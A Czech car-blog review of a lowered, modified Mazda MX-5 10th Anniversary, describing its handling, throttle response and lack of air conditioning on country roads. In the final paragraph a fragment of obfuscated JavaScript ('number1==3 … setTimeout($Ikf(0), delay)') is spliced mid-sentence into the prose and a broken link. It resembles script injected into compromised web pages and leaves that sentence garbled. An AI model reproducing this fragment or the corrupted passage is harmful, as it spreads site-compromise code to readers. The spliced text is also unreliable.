Autodlak MX-5 Anniversary

„Prosimtě, Adame, potřebuju na pár dnů nějaký vaše kabrio. Hned. Má bejt fakt nádherně.“ „Vyber si.“ Nepřemejšlel jsem ani vteřinu a věděl jsem, že konečně přišel čas na Mystique – nádhernou MX-5 10th Anniversary. Tedy tu správně modrou s jedna osmou pod kapotou a šestistupňovým manuálem, kterej ale i tak pocitově točí vyšší otáčky než pětikvalt ve většině aut. I když to znamenalo, že těch pár slunečných dnů se nakonec místo poklidného korzování s modrým nebem nad hlavou ponese ve znamení potu, prachu a řevu.

Se slabší Miatou v automatu už jsem měl tu čest při loňským velkolepým roadtripu, ale tohle je hodně jiná kategorie. Tam, kde Mia končí s dechem, Mystique se teprve nadechuje. Určitě proto uhádnete, kam vedla moje první cesta, protože silnice z Berouna na Karlštejn je pro tenhle účel jako stvořená. A i po nedávné zkušenosti s BRZ to byla jízda neskutečně intenzivní a bezprostřední. I úplnej jouda (jako třeba já) může do MX-5 sednout a připadat si jako mnohem lepší řidič, než ve skutečnosti je. Majitel auta mi tenhle dojem potvrdil – prý si připadal úplně stejně, když Mystique vzal poprvé na závody na okruhu. Prostě dělal, co mu v tu chvíli připadalo správně, a fungovalo to. Vážně se mi zdálo, jako by to auto samo vedlo moje ruce po volantu. Možná tím volantem snad rovnou samo točilo.

Kdykoliv se zadek začal plynule tlačit ven, akurátně nadávkované kontra tam bylo ve zlomku vteřiny a stejně tak nebyl problém auto přesně v tu správnou chvíli srovnat. Nemusel jsem nad tím vůbec přemýšlet, nebylo to ani na okamžik strašidelný nebo záludný. Naopak, na výjezdu ze zatáčky jsem s chutí zašlápl plyn „zbytečně“ brzo, abych si mohl v rukou a zádech vychutnat ten krásnej pocit řízeně neřízenýho pohybu. Tělo vám říká, že podle fyzikálních měřítek se děje něco nebezpečného, ale zároveň cítíte jistotu, že to tak vůbec není. Takhle prostě MX-5 jezdí. Jinak, živěji, víc v pohybu. A přitom k tomu všemu ani nepotřebujete jet rychle a 40litrová nádrž vydrží překvapivě dlouho.

Jakmile to s ní jednou zažijete, připadá vám pak při rozvážně jízdě vyloženě mrtvá a každá zbytečně pomalu projetá zatáčka je zklamání. Zdaleka nejlíp funguje, když se přestanete bát a začnete blbnout – pak začnete chápat i ta hrozná klišé o „splynutí s autem“. Za celou dobu mě ani jednou nenapadlo přiblížit se k dálnici a známku byste na skle stejně hledali marně – to aby člověk nemohl podlehnout vábení dálničního pseudopohodlí a poctivě využil každou okresku. Tahle verze sice klidně zvládne letět přes 200 km/h, ale já ve 120 sundaval nohu z plynu a chvíli relaxoval před další zatáčkou. Maximálka? Kdo ví, nikdo to nezkoušel.

Po delším testu se vždycky hrozně těšim na přesednutí zpátky do svýho estéčka. Pak totiž teprve naplno vystoupí charakteristika každýho auta. V tomhle případě byl výsledek ten, že mi to na prvních dvou křižovatkách chcíplo. Když totiž v Mystique šlápnete na plyn, je to jako šlapat na vosí hnízdo. Stačí lehoučkej dotek a okamžitě vyletí hejno tisíců rozzuřeně ječících otáček. Odezva na plynovej pedál je tak divoká, že prvních pár rozjezdů to člověk túruje jak felcku v autoškole. V Mondeu je to spíš jako šlapat na nohu medvědovi. Na jemné doteky nereaguje, když přitlačíte, maximálně zabručí, a až když mu vyloženě dupnete na pazouru, vyletí a začne bengál. A i když jsem na žihadla alergickej, vosí zkušenost se mi náramně líbila.

Na jízdu bez střechy bylo popravdě už trochu moc horko, obzvlášť v autě bez klimatizace. Už po pár hodinách divočení jsem byl ulepenej, zaprášenej, slušně spálenej a úplně dehydrovanej. Při popojíždění po městě jsem se roztejkal a obecně to ve městě nebylo moc dobrý – když jedete s kamarádem v MX-5, máte chuť u každý hezký holky zastavit a začít jí vysvětlovat, že je to jenom fotograf a ve skutečnosti spolu nic nemáte. Ale neuděláte to, protože v autě stejně máte jenom dvě místa.

Jestli si chcete užít výlet do přírody s trochou romantiky a pohodlí, určitě si vemte spíš pravej kabriolet než zdivočelej roadster. Obzvlášť takovej, kterej vám nedopřeje chvíli klidu, protože při pokusu o výletní tempo začnete mít brzo výčitky svědomí z plýtvání jeho potenciálem. Navíc zatímco v základu je Mazda celkem houpačka, Mystique má po andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmann.3/media_set?set=a.10201991424841048.1048375811&type=3″ target=”_blank” rel=”noopener noreferrer”>kompletní renovaci podvozku sportovnější geometrii a nastavitelnou výšku i tuhost podvozku od BC Racing, který ji posadil ještě blíž k zemi a omezil náklony, takže umí být i docela tvrdá. Ale koho zajímá nějaká romantika, když může jezdit bokem a culit se u toho jako idiot.

Share on facebook
sdílej článek